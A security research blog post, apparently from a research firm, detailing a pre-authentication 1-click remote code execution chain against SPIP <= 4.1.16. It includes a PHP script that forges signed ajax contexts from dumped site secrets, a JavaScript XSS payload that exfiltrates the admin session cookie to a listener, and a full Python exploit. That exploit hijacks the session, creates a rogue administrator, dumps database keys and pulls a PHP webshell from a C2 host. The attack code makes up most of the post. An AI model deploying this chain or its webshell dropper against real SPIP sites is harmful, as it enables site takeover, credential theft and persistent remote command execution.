C110110: SPIP <= 4.1.16, 1-Click RCE (pre-auth) - part 2
Introduction
In the previous article, I explained how it was possible to exploit a stored XSS without authentication, to perform a 1-click RCE. The retrieval of the administrator’s cookie was covered, but I didn’t go into detail about how it was possible to achieve remote code execution. I thought readers would be able to find a method quickly, but this not being the case (except for installing a plugin, which may not work in some cases), I’m going to show you how it’s possible to perform a RCE once you’re administrator.
We won’t be installing any plug-ins, and just by reading the documentation and source code, we’ll be able to identify a complete exploit chain.
Reading the documentation
Reading the documentation never hurts and often helps to understand the attack surface.
Encryption keys: To carry out this pepper, and other actions in SPIP, encryption keys are used and stored in
config/cles.php
. There are 2 by default:
- secret_des_auth: it is used to pepper the authors’ password. So it’s a new key.
- secret_du_site: Half of it is used to calculate the site secrecy. The other half is stored in the base in the
secret_du_site
entry of the tablespip_meta
. This site secret (combined) makes it possible to sign and/or encrypt certain parts of SPIP (ajax contexts, author actions).When a webmaster logs in, the keys are saved in the new
backup_cles
field of the tablespip_auteurs
, by encrypting it with the author’s plaintext password.This allows the site keys to be restored if the
cles.php
file has been deleted, when authenticating a webmaster.The class
\Spip\Chiffrer\SpipCles
allows keys to be manipulated if required. - link
Analysis of the collected information
Reading this gives us three clues. The first is that encryption keys are used to encrypt context elements (ajax contexts, author actions, etc.). Secondly, the encryption key used to encrypt context elements is divided in two parts (one is written to disk in a file and the second is stored in the database). Thirdly, for backup purposes, the part of the key that is supposed to be stored on disk is also stored in the database (but the data is encrypted with the administrator’s password).
To sum up:
- We can steal an administrator’s session by stealing his cookie.
- Via the administration features, we can dump the tables we are interested in, from the database.
table | column |
---|---|
spip_auteurs |
backup_cles (first value used to calculate the context encryption key, but this is encrypted with the administrator’s password) |
spip_meta |
valeur (second value used to calculate the encryption key of the context) |
Let’s look at the code to see how it works.
File: ecrire/src/Chiffrer/SpipCles.php
<?php
...
namespace Spip\Chiffrer;
/** Gestion des clés d’authentification / chiffrement de SPIP */
final class SpipCles {
...
public function restore(
string $backup,
#[\SensitiveParameter]
string $password_clair,
#[\SensitiveParameter]
string $password_hash,
int $id_auteur
): bool {
if (empty($backup)) {
return false;
}
$sauvegarde = Chiffrement::dechiffrer($backup, $password_clair);
$json = json_decode($sauvegarde, true);
if (!$json) {
return false;
}
// cela semble une sauvegarde valide
$cles_potentielles = array_map('base64_decode', $json);
// il faut faire une double verif sur secret_des_auth
// pour s'assurer qu'elle permet bien de decrypter le pass de l'auteur qui fournit la sauvegarde
// et par extension tous les passwords
if (!empty($cles_potentielles['secret_des_auth'])) {
if (!Password::verifier($password_clair, $password_hash, $cles_potentielles['secret_des_auth'])) {
spip_log("Restauration de la cle `secret_des_auth` par id_auteur $id_auteur erronnee, on ignore", 'chiffrer' . _LOG_INFO_IMPORTANTE);
unset($cles_potentielles['secret_des_auth']);
}
}
// on merge les cles pour recuperer les cles manquantes
$restauration = false;
foreach ($cles_potentielles as $name => $key) {
if (!$this->cles->has($name)) {
$this->cles->set($name, $key);
spip_log("Restauration de la cle $name par id_auteur $id_auteur", 'chiffrer' . _LOG_INFO_IMPORTANTE);
$restauration = true;
}
}
return $restauration;
}
...
...
File: ecrire/src/Chiffrer/Chiffrement.php
<?php
...
namespace Spip\Chiffrer;
...
class Chiffrement {
...
/** Déchiffre un message en utilisant une clé ou un mot de passe */
public static function dechiffrer(
string $encoded,
#[\SensitiveParameter]
string $key
): ?string {
$decoded = base64_decode($encoded);
$salt = substr($decoded, 0, \SODIUM_CRYPTO_PWHASH_SALTBYTES);
$nonce = substr($decoded, \SODIUM_CRYPTO_PWHASH_SALTBYTES, \SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$encrypted = substr($decoded, \SODIUM_CRYPTO_PWHASH_SALTBYTES + \SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$key = self::deriveKeyFromPassword($key, $salt);
$padded_message = sodium_crypto_secretbox_open($encrypted, $nonce, $key);
sodium_memzero($key);
sodium_memzero($nonce);
sodium_memzero($salt);
if ($padded_message === false) {
spip_log("dechiffrer() chiffre corrompu `$encoded`", 'chiffrer' . _LOG_DEBUG);
return null;
}
$message = sodium_unpad($padded_message, 16);
#spip_log("dechiffrer($encoded)=$message", 'chiffrer' . _LOG_DEBUG);
return $message;
}
...
private static function deriveKeyFromPassword(
#[\SensitiveParameter]
string $password,
string $salt
): string {
if (strlen($password) === \SODIUM_CRYPTO_SECRETBOX_KEYBYTES) {
return $password;
}
$key = sodium_crypto_pwhash(
\SODIUM_CRYPTO_SECRETBOX_KEYBYTES,
$password,
$salt,
\SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE,
\SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE
);
sodium_memzero($password);
return $key;
}
...
We understand that the backup to the database is performed when an administrator logs in for the first time, and that the generated data are encrypted with the administrator’s password. Therefore, as administrator (via stolen cookies), we can create a new administrator. Once our new user has been created, we’ll authenticate with this new account, which will backup and encrypt the value we’re looking for with the password we’ve defined.
Strategy
Here’s the exploitation strategy:
- Create a new administrator.
- Authenticate with the new administrator.
- Backup tables
spip_auteurs
andspip_meta
. - Retrieve backup tables and retrieve interesting values.
SELECT backup_cles FROM spip_auteurs WHERE login="<LOGIN_OF_THE_CREATED_ADMINISTRATOR'>";
(first value used to calculate the context encryption key, but this is encrypted with the password we have defined).SELECT valeur FROM spip_meta WHERE nom="secret_du_site";
(second value used to calculate the encryption key of the context).
- Upload a file in HTML format (which is legitimate).
- Generation of a malicious environment which will evaluate the uploaded HTML file as if it was a PHP file (allowing us to RCE).
Setting up the lab
Setting up the lab couldn’t be easier.
curl https://files.spip.net/spip/archives/spip-v4.1.17.zip -o spip-v4.1.17.zip
unzip spip-v4.1.17.zip -d spip
cd spip
php -S 127.0.0.1:8181
Exploitation
After stealing an administrator’s cookie, we can access the administrator interface. I’ve preferred to present the results as screenshots, as this makes them even clearer if you ever need to perform the same steps.
Creating a new administrator
Create a user with the administrator role.
Authentication with the new administrator
Authentication via the newly created administrator to trigger a backup of the keys to the database.
Dump of interesting tables (via the backup feature)
Using the backup functionality, we’ll retrieve the contents of the tables we’re interested in for the rest of the exploit
Backup download
Then, we download the files containing the backups of the relevant tables.
Malicious environment generation
Now that we’ve been able to retrieve the encryption keys, we can generate a
malicious SPIP environment context (variable $_POST['var_ajax_env']
).
To automatically generate a malicious environment, the following script was created.
File: env_gen.php
<?php
# Password of added user (administrator).
$USER_PASSWORD = $argv[1];
# sqlite3 My_SPIP_site_<DATE>.sqlite 'SELECT backup_cles FROM spip_auteurs WHERE login="leet";'
$USER_BACKUP_CLES = $argv[2];
# sqlite3 My_SPIP_site_<DATE>.sqlite 'SELECT valeur FROM spip_meta WHERE nom="secret_du_site";'
$META_SECRET_DU_SITE = $argv[3];
# This function is based on the code in the file:
# - ecrire/src/Chiffrer/SpipCles.php
function deriveKeyFromPassword($password, $salt) {
if (strlen($password) === \SODIUM_CRYPTO_SECRETBOX_KEYBYTES) {
return $password;
}
$key = sodium_crypto_pwhash(
\SODIUM_CRYPTO_SECRETBOX_KEYBYTES,
$password,
$salt,
\SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE,
\SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE
);
sodium_memzero($password);
return $key;
}
# This function is based on the code in the file:
# - ecrire/src/Chiffrer/SpipCles.php
function dechiffrer($encoded, $key) {
$decoded = base64_decode($encoded);
$salt = substr($decoded, 0, \SODIUM_CRYPTO_PWHASH_SALTBYTES);
$nonce = substr($decoded, \SODIUM_CRYPTO_PWHASH_SALTBYTES, \SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$encrypted = substr($decoded, \SODIUM_CRYPTO_PWHASH_SALTBYTES + \SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$key = deriveKeyFromPassword($key, $salt);
$padded_message = sodium_crypto_secretbox_open($encrypted, $nonce, $key);
sodium_memzero($key);
sodium_memzero($nonce);
sodium_memzero($salt);
if ($padded_message === false) {
fwrite(STDERR, "[x] dechiffrer() failed!\n");
exit(-1);
}
$message = sodium_unpad($padded_message, 16);
fwrite(STDERR, "[+] dechiffrer() succeeded.\n");
return $message;
}
# This function is based on the code in the file:
# - ecrire/inc/securiser_action.php
function secret_du_site($key, $meta) {
$meta_decoded = base64_decode($meta);
$key_decoded = base64_decode($key);
if (strlen($meta_decoded) != \SODIUM_CRYPTO_SECRETBOX_KEYBYTES) {
fwrite(STDERR, "[x] secret_du_site() failed!\n");
return -1;
}
return $key_decoded ^ $meta_decoded;
}
# This function is based on the code in the file:
# - ecrire/inc/securiser_action.php
function calculer_cle_action($action, $key, $meta) {
return hash_hmac("sha256", $action, secret_du_site($key, $meta));
}
# This function is based on the code in the file:
# - ecrire/inc/filtres.php
function _xor($message, $key, $meta) {
$key = pack("H*", calculer_cle_action("_xor", $key, $meta));
$keylen = strlen($key);
$messagelen = strlen($message);
for ($i = 0; $i < $messagelen; $i++) {
$message[$i] = ~($message[$i] ^ $key[$i % $keylen]);
}
return $message;
}
$user_secrets = json_decode(dechiffrer($USER_BACKUP_CLES, $USER_PASSWORD));
$user_secret_des_auth = $user_secrets->secret_des_auth;
$user_secret_du_site = $user_secrets->secret_du_site;
fwrite(STDERR, "[*] \$secret_des_auth (user) = " . $user_secret_des_auth . "\n");
fwrite(STDERR, "[*] \$secret_du_site (user) = " . $user_secret_du_site . "\n");
fwrite(STDERR, "[*] \$secret_du_site (meta) = " . $META_SECRET_DU_SITE . "\n");
# Code implemented using ecrire/inc/filtres.php
fwrite(STDERR, "[*] Creation of \$env variable ..." . "\n");
$env = array();
$env["fond"] = "IMG/html/backdoor";
fwrite(STDERR, "[*] Calculation of variable \$cle ..." . "\n");
$datas = serialize($env);
$cle = calculer_cle_action($datas, $user_secret_du_site, $META_SECRET_DU_SITE);
fwrite(STDERR, "[+] Variable \$cle = " . $cle . "\n");
fwrite(STDERR, "[+] New generated payload:" . "\n");
$payload = $cle . ":" . $datas;
echo urlencode(base64_encode(_xor(gzdeflate($payload), $user_secret_du_site, $META_SECRET_DU_SITE)));
?>
HTML file upload
We then upload an HTML file (file type accepted by the server) containing PHP code. Our malicious environment will evaluate the PHP code contained in the HTML file.
Remote Code Execution (via execution of the malicious environment)
Of course, the complete exploit chain from session token theft via XSS (without authentication) to RCE is easy to automate but I didn’t want to publish an exploit ready for direct use on the Internet.
And for the more adventurous looking to understand why the PHP code in the HTML file is evaluated via the malicious context, here’s the call stack leading to the execution of arbitrary code.
- /var/www/html/index.php,
include()
- /var/www/html/spip.php,
include()
- /var/www/html/ecrire/public.php,
traiter_appels_inclusions_ajax()
- /var/www/html/ecrire/public/aiguiller.php,
recuperer_fond()
- /var/www/html/ecrire/inc/utils.php,
evaluer_fond()
- /var/www/html/ecrire/public/assembler.php,
include()
- /var/www/html/ecrire/public/evaluer_page.php,
eval()
- /var/www/html/ecrire/public/evaluer_page.php,
- /var/www/html/ecrire/public/assembler.php,
- /var/www/html/ecrire/inc/utils.php,
- /var/www/html/ecrire/public/aiguiller.php,
- /var/www/html/ecrire/public.php,
- /var/www/html/spip.php,
PoC
If you thought I was going to leave you without a PoC (because PoC ir GTFO), here I am.
To repeat the work presented in the previous article we will generate a payload (malicious script) to take advantage of the stored xss without authentication.
File: payload.js
const phpinfo_url = 'http://127.0.0.1:8080/ecrire/?exec=info';
function load(url) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = () => {
if (xhr.readyState === 4) {
var arr = xhr.response.match(/spip_session=(.*?);/) || [""];
var i = new Image();
i.src = 'http://127.0.0.1:1337/?cookie=' + btoa(arr[0]);
}
};
xhr.open('GET', url, true);
xhr.withCredentials = true;
xhr.send(null);
}
load(phpinfo_url);
Once executed, this script steals the administrator’s cookie and sends it to a server controlled by the attacker. For this script to be executed, we use it in conjunction with our XSS. To do this, nothing could be simpler than to encode and evaluate it.
<image 1|lien=javaScript:eval(atob('Y29uc3...goK'))>
Once the cookie has been received by our attack server, the work described above is automated and allows us to obtain code execution (see the exploit after the conclusion).
Conclusion
The work presented here allows you to have a generic RCE method on SPIP once you’ve got an admin account (all that’s left is to transform all your XSS into RCE).
Thank you for taking the time to read this little blogpost.
Exploit
File: exploit.py
# Pour ceux qui prennent plaisir à repackage les sploits pour 10 secondes de
# prestige sur Twitter, nous vous voyons !
import base64
import os
import random
import requests
import sqlite3
import string
import subprocess
import sys
from bs4 import BeautifulSoup
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse
# Port on which this script listens to receive the administrator's cookie.
LISTENING_PORT = 1337
# URL to interact with the SPIP CMS.
SPIP_URL = sys.argv[1]
# Variable to manage script verbosity (this value should be greater than 1 to
# display certain messages).
DEBUG = 1
# This variable is used to proxify traffic to Burp when debug is enabled.
if DEBUG >= 1:
PROXIES = {"http": "http://127.0.0.1:1348"}
# Name of new administrator (random string).
NEW_ADMIN_NAME = "".join(random.choice(string.ascii_lowercase) for i in range(6))
# Name of backup (random string).
BACKUP_NAME = "".join(random.choice(string.ascii_lowercase) for i in range(7))
# IP on which the script is listening.
LISTENING_IP = "<YOUR_C2_IP>"
if DEBUG >= 1:
LISTENING_IP = "host.docker.internal"
# Webshell name (stage 1 is equivalent to a persistence).
STAGE_1_NAME = "webshell.php"
# URL of webshell.
STAGE_1_URL = f"http://{LISTENING_IP}/{STAGE_1_NAME}"
# Webshell creation.
with open(f"{STAGE_1_NAME}", "wb") as f:
f.write(b"<?php system($_POST['cmd']); ?>")
# Command to execute to test the stage_1.
STAGE_1_COMMAND = "id"
# Name of the dropper which is also a stage 0 (random string).
STAGE_0_NAME = "".join(random.choice(string.ascii_lowercase) for i in range(8))+".html"
# Dropper URL.
STAGE_0_URL = f"http://{LISTENING_IP}/{STAGE_0_NAME}"
# Dropper creation.
with open(f"{STAGE_0_NAME}", "wb") as f:
f.write(b'<html><?php $persistence=file_get_contents("')
f.write(STAGE_1_URL.encode())
f.write(b'");file_put_contents("')
f.write(STAGE_1_NAME.encode())
f.write(b'",$persistence);echo "DONE";?></html>')
# We retrieve information for the form (think of it as a complicated CSRF token).
def get_form_info(response):
formulaire_action_args = None
formulaire_action_sign = None
soup = BeautifulSoup(response, "html.parser")
for input in soup.find_all("input"):
if input.get("name") == "formulaire_action_args":
formulaire_action_args = input.get("value")
if input.get("name") == "formulaire_action_sign":
formulaire_action_sign = input.get("value")
# We search only for the first occurrence of the values.
if formulaire_action_args != None and formulaire_action_sign != None:
break
if formulaire_action_args == None or formulaire_action_sign == None:
print("[x] Unable to retrieve form values (formulaire_action_args).")
exit(-1)
print("[+] Form values retrieved (formulaire_action_args, formulaire_action_sign).")
if DEBUG > 1:
print(f"{' '*4}- formulaire_action_args: \"{formulaire_action_args}\"")
print(f"{' '*4}- formulaire_action_sign: \"{formulaire_action_sign}\"")
return formulaire_action_args, formulaire_action_sign
# This class simply stores the newly created user's information.
class Administrator:
nom = NEW_ADMIN_NAME
email = f"{NEW_ADMIN_NAME}@localdomain.localhost"
password = f"{NEW_ADMIN_NAME}123!"
# On re-authentication, the session is reused for the rest of the exploit.
session = requests.session()
# Class implementing exploitation techniques.
class Exploit():
# Function setting the various exploit parameters.
def __init__(self, url, administrator_cookie):
print("\n[*] Setting up the exploit ...")
self.url = url.strip("/")
self.administrator_cookie = administrator_cookie
self.new_administrator = Administrator()
if DEBUG:
print(f"{' '*4}- URL: {self.url}")
print(f"{' '*4}- Administrator's cookie: {self.administrator_cookie}")
# Function implementing the exploit.
def run(self):
print("\n[*] Start of the exploit ...")
# We begin by creating a new user.
print("\n[*] User creation ...")
new_url = f"{self.url}/ecrire/?exec=auteur_edit&new=oui"
new_cookies = {"spip_session": self.administrator_cookie}
r = requests.get(
url=new_url,
cookies=new_cookies,
proxies=PROXIES
)
formulaire_action_args, formulaire_action_sign = get_form_info(r.text)
# Once the form information has been obtained, we can attempt to add a
# user.
new_user = Administrator()
new_datas = {
"exec": "auteur_edit",
"new": "oui",
"formulaire_action": "editer_auteur",
"formulaire_action_args": formulaire_action_args,
"formulaire_action_sign": formulaire_action_sign,
"editer_auteur": "oui",
"id_auteur": "oui",
"nom": new_user.nom,
"email": new_user.email,
"statut": "0minirezo",
"webmestre": "oui",
"saisie_webmestre": 1,
"new_login": new_user.nom,
"new_pass": new_user.password,
"new_pass2": new_user.password
}
r = requests.post(url=new_url, data=new_datas, cookies=new_cookies,
proxies=PROXIES, allow_redirects=True
)
# Check that the user has been added.
# Check status code.
expected_status_code = 200
if r.status_code != expected_status_code:
print(f"[x] Unable to add a user (status_code not {expected_status_code}).")
exit(-1)
# Check that the user is present in the user list.
condition = 0
soup = BeautifulSoup(r.text, "html.parser")
for a in soup.find_all("a"):
if a.get("href") == f"mailto:{new_user.email}":
condition = 1
if not condition:
print("[x] Unable to add a user (unable to find new user in user list).")
exit(-1)
print("[+] New administrator added.")
if DEBUG:
print(f"{' '*4}- Username: {new_user.nom}")
print(f"{' '*4}- Password: {new_user.password}")
# Now we'll authenticate with our new administrator, which will result in
# the secret keys being backed up in the database (encrypted with our
# password).
print("\n[*] Authentication attempt ...")
new_url = f"{self.url}/spip.php?page=login&url=/ecrire/"
r = new_user.session.get(url=new_url, proxies=PROXIES, allow_redirects=True)
formulaire_action_args, formulaire_action_sign = get_form_info(r.text)
new_datas = {
"page": "login",
"url": "/ecrire/",
"formulaire_action": "login",
"formulaire_action_args": formulaire_action_args,
"formulaire_action_sign": formulaire_action_sign,
"var_login": new_user.nom,
"password": new_user.password
}
r = new_user.session.post(url=new_url, data=new_datas,
proxies=PROXIES, allow_redirects=True
)
# Check that the user has been authenticated.
# Check status code.
expected_status_code = 200
if r.status_code != expected_status_code:
print(f"[x] Unable to authenticate (status_code not {expected_status_code}).")
exit(-1)
# Check that the logout button is present (which means we're connected).
condition = 0
soup = BeautifulSoup(r.text, "html.parser")
for a in soup.find_all("a"):
if a.get("href") == f"{self.url}/ecrire/?exec=accueil&action=logout&logout=prive":
condition = 1
if not condition:
print("[x] Unable to authenticate (can't find the logout button).")
exit(-1)
print("[+] New administrator authenticated.")
# We now move on to the database backup so that we can extract the important
# information stored in it.
print(f"\n[*] Database backup attempt ...")
new_url = f"{self.url}/ecrire/?exec=sauvegarder"
r = new_user.session.get(url=new_url, proxies=PROXIES, allow_redirects=True)
formulaire_action_args, formulaire_action_sign = get_form_info(r.text)
new_datas = {
"var_ajax": "form",
"exec": "sauvegarder",
"formulaire_action": "sauvegarder",
"formulaire_action_args": formulaire_action_args,
"formulaire_action_sign": formulaire_action_sign,
"reinstall": "non",
"nom_sauvegarde": BACKUP_NAME,
"tables[]": ["spip_auteurs", "spip_meta"]
}
r = new_user.session.post(url=new_url, data=new_datas,
proxies=PROXIES, allow_redirects=False
)
expected_status_code = 200
if r.status_code != expected_status_code:
print(f"[x] Unable to perform backup (status_code not {expected_status_code}).")
exit(-1)
# As the backup is made up of several steps, each step must be executed
# in the right order.
condition = 0
soup = BeautifulSoup(r.text, "html.parser")
hrefs = []
for a in soup.find_all("a"):
hrefs.append(a.get("href"))
if len(hrefs) == 2:
condition = 1
if not condition:
print("[x] Unable to retrieve backup URL (can't find the download button).")
exit(-1)
new_url = hrefs[0]
r = new_user.session.get(url=new_url, proxies=PROXIES, allow_redirects=True)
new_url = f"{hrefs[0]}&step=1"
r = new_user.session.get(url=new_url, proxies=PROXIES, allow_redirects=True)
new_url = f"{hrefs[0]}&step=2"
r = new_user.session.get(url=new_url, proxies=PROXIES, allow_redirects=True)
# Backup creation check.
new_url = f"{self.url}/ecrire/?exec=sauvegarder"
r = new_user.session.get(url=new_url, proxies=PROXIES, allow_redirects=True)
# We check that our backup is present in the list of backups and that a
# download button is associated with it.
condition = 0
soup = BeautifulSoup(r.text, "html.parser")
for a in soup.find_all("a"):
if a.get("href").find(BACKUP_NAME) != -1:
backup_url = a.get("href")
condition = 1
if not condition:
print("[x] Unable to retrieve backup URL (can't find the download button).")
exit(-1)
print("[+] Backup performed.")
if DEBUG:
print(f"{' '*4}- Backup name: {BACKUP_NAME}")
print(f"{' '*4}- URL: {backup_url}")
# Once the backup has been created, we download it.
print("\n[*] Downloading backup ...")
backup_filename = ""
with new_user.session.get(url=backup_url, proxies=PROXIES, allow_redirects=False, stream=True) as r:
r.raise_for_status()
backup_filename = r.headers["Content-Disposition"].split('"')[1]
with open(backup_filename, "wb") as f:
for chunk in r.iter_content(chunk_size=1024):
f.write(chunk)
# Check that the backup is not empty.
if len(backup_filename) == 0 or os.path.getsize(backup_filename) < 0:
print("[x] Backup is empty (size = 0).")
exit(-1)
print(f"[+] Backup downloaded.")
if DEBUG:
print(f"{' '*4}- Filename: {backup_filename}")
# Backdoor upload (stage 0).
# This has been done in several steps.
print(f"\n[*] Backdoor upload (stage 0) ...")
new_url = f"{self.url}/ecrire/?exec=documents"
r = new_user.session.get(url=new_url, proxies=PROXIES, allow_redirects=True)
formulaire_action_args, formulaire_action_sign = get_form_info(r.text)
# First we add a remote link.
new_datas = {
"var_ajax": "form",
"exec": "documents",
"formulaire_action": "joindre_document",
"formulaire_action_args": formulaire_action_args,
"formulaire_action_sign": formulaire_action_sign,
"bigup_retrouver_fichiers": 1,
"methode_focus": "distant",
"url": STAGE_0_URL,
"joindre_distant": "Choisir"
}
r = new_user.session.post(url=new_url, data=new_datas,
proxies=PROXIES, allow_redirects=False
)
# Then search for the added link in the list of documents ().
r = new_user.session.get(url=new_url, proxies=PROXIES, allow_redirects=True)
edit_link = ""
soup = BeautifulSoup(r.text, "html.parser")
for a in soup.find_all("a"):
if a.get("href").find("exec=document_edit") != -1:
possible_edit_link = a.get("href")
rbis = new_user.session.get(url=possible_edit_link, proxies=PROXIES, allow_redirects=True)
if rbis.text.find(STAGE_0_URL) != -1:
edit_link = possible_edit_link
document_id = edit_link.split("=")[-1]
break
if edit_link == "":
print("[x] Unable to retrieve edit link (can't find the modify button).")
exit(-1)
if DEBUG:
print(f"{' '*4}- Edit link: {edit_link}")
print(f"{' '*4}- Document id: {document_id}")
# Once the editing link is found, browse the page to find the file editing
# parameters.
r = new_user.session.get(url=edit_link, proxies=PROXIES, allow_redirects=True)
formulaire_action_args, formulaire_action_sign = get_form_info(r.text)
# Then start a local copy of the remote file.
new_url = f"{self.url}/ecrire/?exec=document_edit"
new_datas = {
"var_ajax": "form",
"exec": "document_edit",
"formulaire_action": "editer_document",
"formulaire_action_args": formulaire_action_args,
"formulaire_action_sign": formulaire_action_sign,
"id_document": document_id,
"bigup_retrouver_fichiers": 1,
"copier_local": "Copier dans le site",
"methode_focus": "upload",
}
r = new_user.session.post(url=new_url, data=new_datas,
proxies=PROXIES, allow_redirects=True
)
expected_status_code = 200
if r.status_code != expected_status_code:
print(f"[x] File cannot be copied locally (status_code not {expected_status_code}).")
exit(-1)
# Once the file has been copied locally, we try to find its name (which
# is not the same as the specified file).
new_url = f"{self.url}/ecrire/?exec=documents"
r = new_user.session.get(url=new_url, proxies=PROXIES, allow_redirects=True)
file_to_evaluate = ""
soup = BeautifulSoup(r.text, "html.parser")
for div in soup.find_all("div"):
try:
if div.get("title").find(STAGE_0_NAME.split(".")[0]) != -1:
file_to_evaluate = div.get("title")
break
except:
pass
if file_to_evaluate == "":
print("[x] Unable to retrieve file to evaluate (can't find div title).")
exit(-1)
if DEBUG:
print(f"{' '*4}- File to evaluate: {file_to_evaluate}")
# Retrieving secrets stored in the database.
print("\n[*] Extraction of secrets ...")
user_backup_cles, meta_secret_du_site = "", ""
con = sqlite3.connect(backup_filename)
cur = con.cursor()
user_backup_cles = cur.execute(f"SELECT backup_cles FROM spip_auteurs WHERE login='{NEW_ADMIN_NAME}';").fetchall()[0][0]
meta_secret_du_site = cur.execute(f"SELECT valeur FROM spip_meta WHERE nom='secret_du_site';").fetchall()[0][0]
if user_backup_cles == "" or meta_secret_du_site == "":
print("[x] Extraction failed.")
exit(-1)
print(f"[+] Extraction succeeded.")
if DEBUG:
print(f"{' '*4}- USER_BACKUP_CLES: {user_backup_cles}")
print(f"{' '*4}- META_SECRET_DU_SITE: {meta_secret_du_site}")
# Generation of a malicious payload to evaluate a dropper (stage 0) in
# HTML format as if it were a PHP file.
print("\n[*] Payload generation ...")
evaluated_file = file_to_evaluate.split(".")[0]
if DEBUG:
print(f"{' '*4}- Backdoor's filename: {evaluated_file}")
p = subprocess.Popen(
[
"php",
"env_gen.php",
new_user.password,
user_backup_cles,
meta_secret_du_site,
evaluated_file
],
stdout=subprocess.PIPE)
payload = p.communicate()[0].decode()
if DEBUG:
print(f"{' '*4}- Payload: {payload}")
# Evaluation of the HTML file (as PHP).
print("\n[*] Evaluation of the uploaded file (RCE) ...")
new_url = f"{self.url}"
new_datas = {
"var_ajax": "1",
"var_ajax_env": payload
}
r = new_user.session.post(url=new_url, data=new_datas,
proxies=PROXIES, allow_redirects=False
)
if r.text.find("DONE") == -1:
print("[x] Exploit failed.")
exit(-1)
print(f"[+] Exploit succeeded.")
# Attempt to interact with webshell.
print("\n[*] Attempt to interact with webshell ...")
print("[+] Output:")
new_url = f"{self.url}/webshell.php"
new_datas = {
"cmd": STAGE_1_COMMAND,
}
r = new_user.session.post(url=new_url, data=new_datas,
proxies=PROXIES, allow_redirects=False
)
print(r.text)
# Little clean-up on the C2.
for file in [STAGE_1_NAME, STAGE_0_NAME, backup_filename]:
os.remove(file)
# Last warning before bedtime.
print("\n[!] Remember to clean up after yourself (user creation, database backup, uploaded file, etc.)")
exit(0)
# This class retrieves an administrator's cookie and automatically continues the
# exploitation chain (up to the upload of a backdoor).
class CustomServerClass(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def do_GET(self):
self._set_response()
self.wfile.write("cheh".encode())
query = urlparse(self.path).query
try:
params = query.split("&")
except:
params = [query]
for param in params:
if param.find("cookie") != -1 and param != "cookie=":
# As the cookie is received in an encoded way (base64), we decode
# it and extract only the useful part to be able to replay it.
cookie = base64.b64decode(param.split("=")[1].encode()).decode().split("=")[1].rstrip(";")
print(f"[+] Cookie captured (cookie: {cookie})")
# Launch of the exploit.
Exploit(SPIP_URL, cookie).run()
def run(server_class=HTTPServer, handler_class=CustomServerClass, port=LISTENING_PORT):
httpd = server_class(("", port), handler_class)
print(f"[*] Starting httpd (on port {port})...")
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print("[*] Stopping httpd ...")
if __name__ == "__main__":
run()
File: env_gen.php
<?php
# Password of added user (administrator).
$USER_PASSWORD = $argv[1];
# sqlite3 My_SPIP_site_<DATE>.sqlite 'SELECT backup_cles FROM spip_auteurs WHERE login="leet";'
$USER_BACKUP_CLES = $argv[2];
# sqlite3 My_SPIP_site_<DATE>.sqlite 'SELECT valeur FROM spip_meta WHERE nom="secret_du_site";'
$META_SECRET_DU_SITE = $argv[3];
# This function is based on the code in the file:
# - ecrire/src/Chiffrer/SpipCles.php
function deriveKeyFromPassword($password, $salt) {
if (strlen($password) === \SODIUM_CRYPTO_SECRETBOX_KEYBYTES) {
return $password;
}
$key = sodium_crypto_pwhash(
\SODIUM_CRYPTO_SECRETBOX_KEYBYTES,
$password,
$salt,
\SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE,
\SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE
);
sodium_memzero($password);
return $key;
}
# This function is based on the code in the file:
# - ecrire/src/Chiffrer/SpipCles.php
function dechiffrer($encoded, $key) {
$decoded = base64_decode($encoded);
$salt = substr($decoded, 0, \SODIUM_CRYPTO_PWHASH_SALTBYTES);
$nonce = substr($decoded, \SODIUM_CRYPTO_PWHASH_SALTBYTES, \SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$encrypted = substr($decoded, \SODIUM_CRYPTO_PWHASH_SALTBYTES + \SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$key = deriveKeyFromPassword($key, $salt);
$padded_message = sodium_crypto_secretbox_open($encrypted, $nonce, $key);
sodium_memzero($key);
sodium_memzero($nonce);
sodium_memzero($salt);
if ($padded_message === false) {
fwrite(STDERR, "[x] dechiffrer() failed!\n");
exit(-1);
}
$message = sodium_unpad($padded_message, 16);
fwrite(STDERR, "[+] dechiffrer() succeeded.\n");
return $message;
}
# This function is based on the code in the file:
# - ecrire/inc/securiser_action.php
function secret_du_site($key, $meta) {
$meta_decoded = base64_decode($meta);
$key_decoded = base64_decode($key);
if (strlen($meta_decoded) != \SODIUM_CRYPTO_SECRETBOX_KEYBYTES) {
fwrite(STDERR, "[x] secret_du_site() failed!\n");
return -1;
}
return $key_decoded ^ $meta_decoded;
}
# This function is based on the code in the file:
# - ecrire/inc/securiser_action.php
function calculer_cle_action($action, $key, $meta) {
return hash_hmac("sha256", $action, secret_du_site($key, $meta));
}
# This function is based on the code in the file:
# - ecrire/inc/filtres.php
function _xor($message, $key, $meta) {
$key = pack("H*", calculer_cle_action("_xor", $key, $meta));
$keylen = strlen($key);
$messagelen = strlen($message);
for ($i = 0; $i < $messagelen; $i++) {
$message[$i] = ~($message[$i] ^ $key[$i % $keylen]);
}
return $message;
}
$user_secrets = json_decode(dechiffrer($USER_BACKUP_CLES, $USER_PASSWORD));
$user_secret_des_auth = $user_secrets->secret_des_auth;
$user_secret_du_site = $user_secrets->secret_du_site;
fwrite(STDERR, "[*] \$secret_des_auth (user) = " . $user_secret_des_auth . "\n");
fwrite(STDERR, "[*] \$secret_du_site (user) = " . $user_secret_du_site . "\n");
fwrite(STDERR, "[*] \$secret_du_site (meta) = " . $META_SECRET_DU_SITE . "\n");
# Code implemented using ecrire/inc/filtres.php
fwrite(STDERR, "[*] Creation of \$env variable ..." . "\n");
$env = array();
$env["fond"] = "IMG/html/" . $argv[4];
